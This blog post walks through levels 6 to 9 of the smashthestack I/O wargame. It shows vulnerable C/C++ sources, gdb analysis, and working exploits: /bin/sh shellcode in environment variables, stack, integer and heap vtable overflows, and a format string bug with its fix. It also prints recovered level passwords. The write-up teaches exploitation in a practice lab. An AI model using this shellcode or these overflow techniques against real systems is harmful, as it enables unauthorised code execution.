Smashthestack – I/O Walkthrough Part B – [Levels 6 – 10]

This blogpost picks up from where the Smashthestack – I/O Walkthrough Part A left off from starting with the level 6 from the I/O challenges of smashthestack.org.

I/O – Level 6

level6@io:~$ cat /levels/level06.c
//bla, based on work by nnp

#include <stdio.h>
#include <string.h>

void prompt_name(char *name, char *msg){
char buf[4096];

puts(msg);
read(0, buf, sizeof buf);
*strchr(buf, '\n') = 0;
strncpy(name, buf, 20);
}

void prompt_full_name(char *fullname) {
char last[20];
char first[20];

prompt_name(first, "Please enter your first name: ");
prompt_name(last, "Please enter your last name: ");

strcpy(fullname, first);
strcat(fullname, " ");
strcat(fullname, last);
}

int main(int argc, char **argv){
char fullname[42];

prompt_full_name(fullname);
printf("Welcome, %s\n", fullname);

return 0;
}

Looking at the source code above for the level06 binary file I saw again it’s most likely a buffer overflow challenge again. Running through the code of the binary starting at the main() function program declares a buffer of 42 bytes called fullname[], the program calls the function prompt_full_name() with fullname as a parameter for the function. The prompt_full_name() declares a buffer called last[] with a size of 20 bytes and then another buffer called first[] again with 20 bytes in size. The program then fills both these buffers declared in the prompt_full_name() with the prompt_name(). The prompt_name() function declares a buffer called buf[] and assigns 4092 bytes to the buffer, the function then reads the value of itself and then fills the remaining space of the buffer.

Next the prompt_name() uses strncpy() to copy 20 bytes from buf[] into the name buffer as a parameter, so basically the prompt_name() copies exactly 20 bytes from the user’s first input into the first[] but then copies the next 20 bytes of the user’s input into the last[] buffer without including a null byte to the end of the first[], the null byte is added to the end of the last[] to show the end of the string. But later on in the program strcpy() is used in the prompt_full_name() function to copy the parameter first to the parameter fullname, since strcpy() copies all bytes until it hits the null byte, strcpy() copys all the bytes in first[] and last[] to the parameter fullname. And then concatenates a space with strcat() to the end of the parameter fullname and then again concatenates the last[] to the end of the same parameter.

To demostrate I show the application receiving 20 A’s for the first[] and 19 B’s for last[], since last[] doesn’t contain the full 20 bytes as expected the null byte is added to be the 20th byte for the last[].

(gdb) run
Starting program: /levels/level06
Please enter your first name:
AAAAAAAAAAAAAAAAAAAA
Please enter your last name:
BBBBBBBBBBBBBBBBBBB
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

From the above output you can see strcpy() has copied first[] and last[] to the fullname, appends the space and then appends last[] again which has results in the buffer overflow in the application. I conclude that the final 4 bytes of last[] are the bytes that overwrite the EIP register to test this I repeat the entry above but change the final 4 bytes of last[] to C’s.

(gdb) run
Starting program: /levels/level06
Please enter your first name:
AAAAAAAAAAAAAAAAAAAA
Please enter your last name:
BBBBBBBBBBBBBBCCCCC
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBCCCCC BBBBBBBBBBBBBBCCCCC

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()

Now I have caused the buffer overflow and I know what bytes overwrite the EIP register I need to get the shellcode I want to be executed, I decided to use the exact same shellcode I used in the I/O level 5 challenge.

shellcode
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"

The shellcode itself is 38 bytes and the buffer overflow in the programs occurs with 35 bytes + 4 bytes which actually overwrite the EIP register, this means there is not enough space for the actual shellcode in the buffer I send the application. I actually began stuck at this point for awhile looking for a smaller shellcode to use, but then I decided to go back through the past challenges to see if I could find any hints.

I came up with the idea of combing the level04 and level05 challenges together which is I can store my shellcode in an environment variable I can then overwrite the EIP register with the location of the environment variable containing my shellcode. Using the following code I wrote my shellcode to an environment variable called shellcode which contains a python script to be executed.

level6@io:~$ export SHELLCODE=$(python -c 'print "\x90"*100 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"')

level6@io:~$ env
SHELLCODE=ë^1ÀFF
V
N
ó
°
Íèãÿÿÿ/bin/sh
TERM=xterm
SHELL=/bin/bash
SSH_TTY=/dev/pts/2
USER=level6
MAIL=/var/mail/level6
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
PWD=/home/level6
SHLVL=1
HOME=/home/level6
LOGNAME=level6

Before continuing please note some lines from the env command output have been removed. As you can see my shellcode as been added to the environment variables of the machine, now if I can find the location of the environment variable SHELLCODE in memory I can overwrite the EIP register with the memory address and have my shellcode executed. In my research for learning the memory location of an environment variable I learnt that id() in python returns the “identity” of an object which just happens to be the location in memory of that object, so using the following python code I attempted to identify the memory address of the SHELLCODE environment variable I had created.

import os
id('SHELLCODE')

Which gave me the output of ‘3084264736’, this didn’t seem right or useable so with more research I found this python code which would format the output from id() into a useable format.

import os
x = 4
print hex(id('SHELLCODE'))

The second python script gave me the memory address of “0xb7d62520” for the SHELLCODE environment variable, with this in mind I can now create my buffer that I will send to the program which will overwrite the EIP register of said program for the memory address of the SHELLCODE environment variable.

AAAAAAAAAAAAAAAAAAAA # 20's for first[]

BBBBBBBBBBBBBBB\x20\x25\xd6\xb7 # 14 B's plus memory address

I created a directory called level6 in the /tmp directory and used python to perform the following.

level6@io:/tmp/level6$ python -c 'print "A"*20 + "\n" + "Z" * 4075 + "B"*14 + "\x20\x25\xd6\xb7" + "C\n"' &amp;gt; exploit
level6@io:/tmp/level6$ ls
exploit

I now have a file called exploit in the level6 tmp directory which contains the buffer “”A”*20 + “\n” + “Z” * 4075 + “B”*14 + “\x20\x25\xd6\xb7” + “C\n””, I can now use cat to pipe the contents of the exploit in the program when executed.

level6@io:/tmp/level6$ cat exploit | /levels/level06
Please enter your first name:
Please enter your last name:
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBB_×ÿ¿C BBBBBBBBBBBBBB_×ÿ¿C
Segmentation fault

Proving that cat’ing the exploit file and piping the contents into the program worked but for some reason didn’t quite hit my EIP register overwrite. I found the problem to be that the memory address I found using python was not actually the correct memory address of the SHELLCODE environment variable. With further research I found out about the following c code which when compiled I can pass the binary an environment variable name and it would print back the memory address for the variable.

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
char *addr;
if (argc < 2) {
printf("Usage:\n%s <environment variable name>\n", argv[0]);
exit(0);
}

addr = getenv(argv[1]);
if (addr == NULL)
printf("The environment variable %s doesn't exist.\n", argv[1]);
else
printf("%s is located at %p\n", argv[1], addr);

return(0);
}
level6@io:/tmp/level6$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbfffd778

This code found a completely different memory address which I entered into my buffer and ran the exploit code again, “”A”*20 + “\n” + “a”*4075 + “B”*14 + “\x78\xd7\xff\xbf” + “C\n””.

level6@io:/tmp/level6$ cat exploit | /levels/level06
Please enter your first name:
Please enter your last name:
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBx×ÿ¿C BBBBBBBBBBBBBBx×ÿ¿C
level6@io:/tmp/level6$ (cat exploit; cat) | /levels/level06
Please enter your first name:
Please enter your last name:
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBx×ÿ¿C BBBBBBBBBBBBBBx×ÿ¿C
whoami
level7
cat /level7/.pass
cat: /level7/.pass: No such file or directory
cat /home/level7/.pass
PyGP1wxxZh6TXg

You might notice above that I did a double cat, this is because STDIN closes straight after sending the first cat but by using a second cat it forces STDIN to stay open. This was quite a stressful buffer overflow to perform.

I/O – Level 7

level7@io:~$ cat /levels/level07.c
//written by bla
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{

int count = atoi(argv[1]);
int buf[10];

if(count >= 10 )
return 1;

memcpy(buf, argv[2], count * sizeof(int));

if(count == 0x574f4c46) {
printf("WIN!\n");
execl("/bin/sh", "sh" ,NULL);
} else
printf("Not today son\n");

return 0;
}

I/O level 7 had another buffer overflow challenge, this is a interesting buffer overflow compared to the others in earlier challenges. In the main() function a buffer called buf[] with a set size of 10 bytes, next the program defines an if statement that states that if the user input is to be equal or greater than 10 return 1 which means the user input must be under 10. The program then uses the memcpy() function to copy two command line arguments from argv[] to buf[] with “count * sizeof(int)” specifying the amount of bytes to copy from source (argv[2]) to destination (buf[]). If the count is equal to “0x574f4c46” I will be granted with the shell for the next level otherwise I get the message “Not today son”.

Now I did some searching using Google for types of overflows, I was feeling like this was either an integer or an arithmetic overflow, then I found a link to a wikipedia article on Arithmetic Underflows. Since the if statements means my input must be =< 9 I assume this is a type of underflow and since I couldn’t find information on integer underflows I also make the assumption that this is an arithmetic underflow.

So I determined that what I need to do to complete the challenge is the following:

  • We need to pass a number less than 10 because of “if(count >= 10 )”
  • The number has to be 10 digits in size
  • The number has to be big enough to overflow buf[]
  • Overflow buf[] to modify value of count, needs to be (count == 0x574f4c46)
  • buf[] can only be “count * sizeof(int)” in size

I can pass small numbers from 1-9 but none are large enough to overflow buf[], but with a negative number such as -10 would bypass the check of “if(count >= 10 )” and if I can convert this back to a positive integer after the check I would possible be able to overflow buf[]. This is a good theory up until memcpy(), as this function will fail because “count * sizeof(int)” is negative. Because of how the memory addresses are layout I know this a 32-bit program, which means “sizeof(int)” is equal to 4 bytes (\x57\x4f\x4c\x46 = 4 bytes), which in assembly is a SHL (Shift Logical Left) instruction of 2.

(gdb) disassemble main
Dump of assembler code for function main:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: sub $0x68,%esp
0x0804841a <+6>: and $0xfffffff0,%esp
0x0804841d <+9>: mov $0x0,%eax
0x08048422 <+14>: sub %eax,%esp
0x08048424 <+16>: mov 0xc(%ebp),%eax
0x08048427 <+19>: add $0x4,%eax
0x0804842a <+22>: mov (%eax),%eax
0x0804842c <+24>: mov %eax,(%esp)
0x0804842f <+27>: call 0x8048354 <atoi@plt>
0x08048434 <+32>: mov %eax,-0xc(%ebp)
0x08048437 <+35>: cmpl $0x9,-0xc(%ebp)
0x0804843b <+39>: jle 0x8048446 <main+50>
0x0804843d <+41>: movl $0x1,-0x4c(%ebp)
0x08048444 <+48>: jmp 0x80484ad <main+153>
0x08048446 <+50>: mov -0xc(%ebp),%eax
0x08048449 <+53>: shl $0x2,%eax # SHL 2 "(sizeof(int=4)"
0x0804844c <+56>: mov %eax,0x8(%esp)
0x08048450 <+60>: mov 0xc(%ebp),%eax
0x08048453 <+63>: add $0x8,%eax
0x08048456 <+66>: mov (%eax),%eax
0x08048458 <+68>: mov %eax,0x4(%esp)
0x0804845c <+72>: lea -0x48(%ebp),%eax
0x0804845f <+75>: mov %eax,(%esp)
0x08048462 <+78>: call 0x8048334 <memcpy@plt>
0x08048467 <+83>: cmpl $0x574f4c46,-0xc(%ebp)
0x0804846e <+90>: jne 0x804849a <main+134>
0x08048470 <+92>: movl $0x8048584,(%esp)
0x08048477 <+99>: call 0x8048344 <printf@plt>
0x0804847c <+104>: movl $0x0,0x8(%esp)
0x08048484 <+112>: movl $0x804858a,0x4(%esp)
0x0804848c <+120>: movl $0x804858d,(%esp)
0x08048493 <+127>: call 0x8048324 <execl@plt>
0x08048498 <+132>: jmp 0x80484a6 <main+146>
0x0804849a <+134>: movl $0x8048595,(%esp)
0x080484a1 <+141>: call 0x8048344 <printf@plt>
0x080484a6 <+146>: movl $0x0,-0x4c(%ebp)
0x080484ad <+153>: mov -0x4c(%ebp),%eax
0x080484b0 <+156>: leave
0x080484b1 <+157>: ret
End of assembler dump.

Using the following C code I tested that a negative number can be changed to a positive number .

int main(int argc, char **argv)
{
int x = -1073741808;
printf("%p\n", x);
printf("%p\n", x << 2);
printf("%p\n", (x + 16) << 2);
printf("%p\n", (x + 32) << 2);
return 0;
}

With the compile c above I tested that the negative number “-1073741808” was in fact converted back to a positive number. I now need to know how far I need to overflow before writing the memory address for the count, will a lot of trial and error I found that 60 bytes and then the 4 bytes of the memory address was required to overwrite count.

/levels/level07 -1073741808 $(python -c 'print "\x90"*60 + "\x46\x4c\x4f\x57"')
WIN!
sh-4.2$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1008(level8),1007(level7),1029(nosu)
sh-4.2$ cat /home/level8/.pass
YIyYUTN9f8p0Qg

I/O – Level 8

// writen by bla for io.smashthestack.org
#include <iostream>
#include <cstring>

class Number
{
public:
Number(int x) : number(x) {}
void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}
virtual int operator+(Number &r) {return number + r.number;}
private:
char annotation[100];
int number;
};

int main(int argc, char **argv)
{
if(argc < 2) _exit(1);

Number *x = new Number(5);
Number *y = new Number(6);
Number &five = *x, &six = *y;

five.setAnnotation(argv[1]);

return six + five;
}

From the above source the level8 challenge is some sort of overflow in C++, running through the code starting at the class “Number” which straight I see there are three public functions, the first being Number() which takes an int and assigns the value to the private local variable “number”, the next public function is setAnnotation() which takes a char point as it’s only argument and the final public function in the Number class is a “+ operator” for the Number class. There are also two private variables one called char annotation which is used by the setAnnotation function and the other is a int number which is used by the Number(). The setAnnotation uses memcpy() to write bytes starting at the memory location “a” to the memory location of “annotation” with the amount of bytes to be copied from “a” to “annotation”, this is good for me as since I can control the size of “a” I can overflow “annotation”.

To get a better idea of what the program itself is doing I disassembled the main function.

(gdb) disass main
Dump of assembler code for function main:
0x08048694 <+0>: push %ebp
0x08048695 <+1>: mov %esp,%ebp
0x08048697 <+3>: and $0xfffffff0,%esp
0x0804869a <+6>: push %ebx
0x0804869b <+7>: sub $0x2c,%esp
0x0804869e <+10>: cmpl $0x1,0x8(%ebp) # if(argv <2)
0x080486a2 <+14>: jg 0x80486b0 <main+28> # if input is >=2 jump to location "0x080486b0"
0x080486a4 <+16>: movl $0x1,(%esp)
0x080486ab <+23>: call 0x804857c <_exit@plt> # _exit(1)
0x080486b0 <+28>: movl $0x6c,(%esp)
0x080486b7 <+35>: call 0x80485bc <_Znwj@plt>
0x080486bc <+40>: mov %eax,%ebx
0x080486be <+42>: mov %ebx,%eax
0x080486c0 <+44>: movl $0x5,0x4(%esp)
0x080486c8 <+52>: mov %eax,(%esp)
0x080486cb <+55>: call 0x804879e <_ZN6NumberC1Ei>
0x080486d0 <+60>: mov %ebx,0x10(%esp)
0x080486d4 <+64>: movl $0x6c,(%esp)
0x080486db <+71>: call 0x80485bc <_Znwj@plt>
0x080486e0 <+76>: mov %eax,%ebx
0x080486e2 <+78>: mov %ebx,%eax
0x080486e4 <+80>: movl $0x6,0x4(%esp)
0x080486ec <+88>: mov %eax,(%esp)
0x080486ef <+91>: call 0x804879e <_ZN6NumberC1Ei>
0x080486f4 <+96>: mov %ebx,0x14(%esp)
0x080486f8 <+100>: mov 0x10(%esp),%eax
0x080486fc <+104>: mov %eax,0x18(%esp)
0x08048700 <+108>: mov 0x14(%esp),%eax
0x08048704 <+112>: mov %eax,0x1c(%esp)
0x08048708 <+116>: mov 0xc(%ebp),%eax
0x0804870b <+119>: add $0x4,%eax
0x0804870e <+122>: mov (%eax),%eax
0x08048710 <+124>: mov %eax,0x4(%esp)
0x08048714 <+128>: mov 0x18(%esp),%eax
0x08048718 <+132>: mov %eax,(%esp)
0x0804871b <+135>: call 0x80487b6 <_ZN6Number13setAnnotationEPc>
0x08048720 <+140>: mov 0x1c(%esp),%eax
0x08048724 <+144>: mov (%eax),%eax
0x08048726 <+146>: mov (%eax),%edx
0x08048728 <+148>: mov 0x18(%esp),%eax
0x0804872c <+152>: mov %eax,0x4(%esp)
0x08048730 <+156>: mov 0x1c(%esp),%eax
0x08048734 <+160>: mov %eax,(%esp)
0x08048737 <+163>: call *%edx
0x08048739 <+165>: add $0x2c,%esp
0x0804873c <+168>: pop %ebx
0x0804873d <+169>: mov %ebp,%esp
0x0804873f <+171>: pop %ebp
0x08048740 <+172>: ret
End of assembler dump.

The gdb disassemble of the main() of program /levels/level08 shows that line <main+10> performs the “if(argc < 2)” check in the program, I tested this by setting a breakpoint on the memory address of “0x0804869e” and then ran the program twice once with the input being “1” which when checked by <main+10> continued straight to <main+23> which exits the program. But when I run the program again like being but the input being “2” the program jumps over the “_exit(1)” function to the memory address of “0x080486b0”.

I next I reran the program with argc of 2, setting a breakpoint on “0x0804871b” which is the memory address for the “setAnnotation(char *a)” function, once the breakpoint was hit I looked at the ESP register to view the current state of the stack.

(gdb) break *0x0804871b
Breakpoint 1 at 0x804871b
(gdb) run 2
Starting program: /levels/level08 2

Breakpoint 1, 0x0804871b in main ()
(gdb) x/32xb $esp
0xbffffca0: 0x08 0xa0 0x04 0x08 0x9f 0xfe 0xff 0xbf
0xbffffca8: 0xd8 0xfc 0xff 0xbf 0x29 0x88 0x04 0x08
0xbffffcb0: 0x08 0xa0 0x04 0x08 0x78 0xa0 0x04 0x08
0xbffffcb8: 0x08 0xa0 0x04 0x08 0x78 0xa0 0x04 0x08

(gdb) x/32xb $esp+4
0xbffffca4: 0x9f 0xfe 0xff 0xbf 0xd8 0xfc 0xff 0xbf
0xbffffcac: 0x29 0x88 0x04 0x08 0x08 0xa0 0x04 0x08
0xbffffcb4: 0x78 0xa0 0x04 0x08 0x08 0xa0 0x04 0x08
0xbffffcbc: 0x78 0xa0 0x04 0x08 0x05 0x75 0xd8 0xb7

Comparing the main() function assembly I can see at this point in the execution of the program that the $eip+4 contains the memory address of the start of argv[1], the $esp holds the address of the annotation array of the variable five. Looking at the addresses they aren’t the same place memory locations as all of the 0xbfff—-, the memory location 0x0804—-, this area as it is heap memory.

I’ve read about heap memory and stack memory, link, the heap memory is allocated at the start of the program. In this program when the “new” command was used two instances of the Number class and why the heap is used to store the information. In the above output from gdb when attempting to view the stack at the end of the 32 bytes displayed the addresses 0x0804a008 and 0x0804a078 which are the locations in the heap memory for the variables five and six.


(gdb) x/108xb 0x0804a078
0x804a078: 0xc8 0x88 0x04 0x08 0x00 0x00 0x00 0x00
0x804a080: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a088: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a090: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a098: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0b0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0e0: 0x06 0x00 0x00 0x00

Looking at the memory that represents the variable “six” above, there are several things that stand out about this memory location, the first part there seems to be a memory address “0x080488c8”, next there are exactly 100 bytes between the memory address and the “0x06” at the end which would represents the memory allocated for the character array, and the final note is of the 0x06 at the end of the memory address which represents the int value “number” stored at the “Number *y = new Number(6);“. The next step I took was to look at the memory address found above.


(gdb) disas 0x080488c8
Dump of assembler code for function _ZTV6Number:
0x080488c0 <+0>: add %al,(%eax)
0x080488c2 <+2>: add %al,(%eax)
0x080488c4 <+4>: aam $0x88
0x080488c6 <+6>: add $0x8,%al
0x080488c8 <+8>: loop 0x8048851 <__libc_csu_init+65>
0x080488ca <+10>: add $0x8,%al
End of assembler dump.

This memory address shows what I assume to be the virtual table for the virtual functions of the Number class, we also assume this is the virtual table to be for the “six” structure. From this point I determine the overflow occurs in the “five” structure into the memory location of the “six” structure caused by the improper check of the input used by memcpy(), we could overflow the “six” structure possibly but the application ends after the “new” command for Number(6), which is why the “five” structure is the target since if we overflow this structure we can overflow into the “six” structure and get possible code execution.

Counting the memory location I determined that there were 108 bytes between the start of “annotation” in “five” and start of the “six” structure. This means I need to pass the program a buffer of 108 bytes + 4 additional bytes that will hopefully overwrite the memory location for the virtual table in the “six” structure.


(gdb) break *0x0804871b

Breakpoint 2 at 0x804871b

(gdb) run $(python -c 'print "A"*108 + "BBBB"')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /levels/level08 $(python -c 'print "A"*108 + "BBBB"')

Breakpoint 2, 0x0804871b in main ()

(gdb) x/8xb 0x0804a078

0x804a078: 0xc8 0x88 0x04 0x08 0x00 0x00 0x00 0x00

(gdb) ni

0x08048720 in main ()

(gdb) x/8xb 0x0804a078

0x804a078: 0x42 0x42 0x42 0x42 0x00 0x00 0x00 0x00

From the above output the python script “$(python -c ‘print “A”*108 + “BBBB”‘)” was successfully able to overwrite the memory address for the virtual table for the “six” structure in the heap memory allocated for “Number(6)”. From here the exploitation gets a bit easier with only needing to place the shellcode to be executed in the buffer sent and then have it executed.

(gdb) x/32xb 0x0804a008
0x804a008: 0xc8 0x88 0x04 0x08 0x41 0x41 0x41 0x41
0x804a010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a020: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

In constructing the buffer for program to execute I looked at the heap memory for “five” structure as shown above, the memory address “0x804a010” will be used to overwrite the memory address in the “six” structure which will have the program jump to the address specified and start executing my shellcode. Using the following python script I attempted to do so “$(python -c ‘print “\x90″*20 + “\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh” + “\x90″*50 + “\x10\xa0\x04\x80″‘)”.


(gdb) run $(python -c 'print "\x90"*20 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "\x90"*50 + "\x10\xa0\x04\x80"')
Starting program: /levels/level08 $(python -c 'print "\x90"*20 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "\x90"*50 + "\x10\xa0\x04\x80"')

Breakpoint 2, 0x0804871b in main ()
(gdb) x/8xb 0x0804a078
0x804a078: 0xc8 0x88 0x04 0x08 0x00 0x00 0x00 0x00
(gdb) ni
0x08048720 in main ()
(gdb) x/8xb 0x0804a078
0x804a078: 0x10 0xa0 0x04 0x80 0x00 0x00 0x00 0x00
(gdb) x/108xb 0x0804a008
0x804a008: 0xc8 0x88 0x04 0x08 0x90 0x90 0x90 0x90
0x804a010: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a018: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a020: 0xeb 0x18 0x5e 0x89 0x76 0x08 0x31 0xc0
0x804a028: 0x88 0x46 0x07 0x89 0x46 0x0c 0x89 0xf3
0x804a030: 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xb0 0x0b
0x804a038: 0xcd 0x80 0xe8 0xe3 0xff 0xff 0xff 0x2f
0x804a040: 0x62 0x69 0x6e 0x2f 0x73 0x68 0x90 0x90
0x804a048: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a050: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a058: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a060: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a068: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a070: 0x90 0x90 0x90 0x90

From the output above I can see that I overwrite the memory address in the memory location for the “six” structure (0x804a078) with the memory address of (0x804a010) which contains NOPs and should have the program go down the NOP sled until it hits the shellcode I’ve used in pass exploits, though this failed in the end returning a segmentation fault error. After some playing around with the buffer I was able to determine there was a dereference made by the program before the shellcode begins executing, I used the following python script for debugging $(python -c ‘print “A”*4 + “B”*104 + “C”*4’).


(gdb) break *0x0804871b
Breakpoint 2 at 0x804871b
(gdb) run $(python -c 'print "A"*4 + "B"*104 + "C"*4')
Starting program: /levels/level08 $(python -c 'print "A"*4 + "B"*104 + "C"*4')

Breakpoint 2, 0x0804871b in main ()
(gdb) x/108xb 0x0804a008
0x804a008: 0xc8 0x88 0x04 0x08 0x00 0x00 0x00 0x00
0x804a010: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a040: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a060: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a070: 0x05 0x00 0x00 0x00
(gdb) ni
0x08048720 in main ()
(gdb) x/108xb 0x0804a008
0x804a008: 0xc8 0x88 0x04 0x08 0x41 0x41 0x41 0x41
0x804a010: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a018: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a020: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a028: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a030: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a038: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a040: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a048: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a050: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a058: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a060: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a068: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x804a070: 0x42 0x42 0x42 0x42
(gdb) x/8xb 0x0804a078
0x804a078: 0x43 0x43 0x43 0x43 0x00 0x00 0x00 0x00

With this new information I decided that I would use the following technique in my exploit:

  1. overwrite 0x0804a078 with 0x0804a00c (0x0804a008+4)
  2. then overwrite 0x0804a00c with 0x0804a010 (0x0804a00c+4)
  3. then place my NOP sled and shellcode

This new exploit I came up with was the following python script $(python -c ‘print “\x10\xa0\x04\x08” + “\x90″*4 + “\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh” + “A”*62 + “\x0c\xa0\x04\x08″‘).


level8@io:~$ /levels/level08 $(python -c 'print "\x10\xa0\x04\x08" + "\x90"*4 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "A"*62 + "\x0c\xa0\x04\x08"')
sh-4.2$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8),1029(nosu)
sh-4.2$ cat /home/level9/.pass
8M6FFV8riHYSQg
sh-4.2$

I/O – Level 9


level9@io:~$ ls -lh /levels/ |grep "level09"
-r-sr-x--- 1 level10 level9  6.2K Jan  9  2010 level09
-r-------- 1 level9  level9   182 Jan  9  2010 level09.c
level9@io:~$ cat /levels/level09.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
int  pad = 0xbabe;
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);

printf(buf);

return 0;
}

Straight away when looking at the C code above I was able to determine that the incorrect usage of the printf() meant that format string vulnerability was present. A format specifier should of been used by the programmer to specify the data type to be printed, as not doing so allows for format string attack vectors. To verify this I passed the binary a string and then the same string with a format specifier include after the string.


level9@io:~$ /levels/level09 nsimattstiles
nsimattstileslevel9@io:~$
level9@io:~$
level9@io:~$ /levels/level09 nsimattstiles%x
nsimattstilesbffffea2level9@io:~$
level9@io:~$

So what is occurring is that the binary uses the strncpy() to copy the user’s input directly into the array buf and then uses the printf() to print the contents of the array to the screen and since printf() does not include a format specifier I am able to include my own (%h).

Not that it matters for competing this IO challenge but i’ve included how this vulnerability could be fixed below, notice in the code below all you have to do is specify a format to be displayed in.


level9@io:/tmp/level9$ cat ./level09new.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
int  pad = 0xbabe;
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);

printf("%s", buf);

return 0;
}
level9@io:/tmp/level9$ gcc -g ./level09new.c -o level09new
level9@io:/tmp/level9$ ./level09new nsimattstiles
nsimattstileslevel9@io:/tmp/level9$
level9@io:/tmp/level9$ ./level09new nsimattstiles%x
nsimattstiles%xlevel9@io:/tmp/level9$

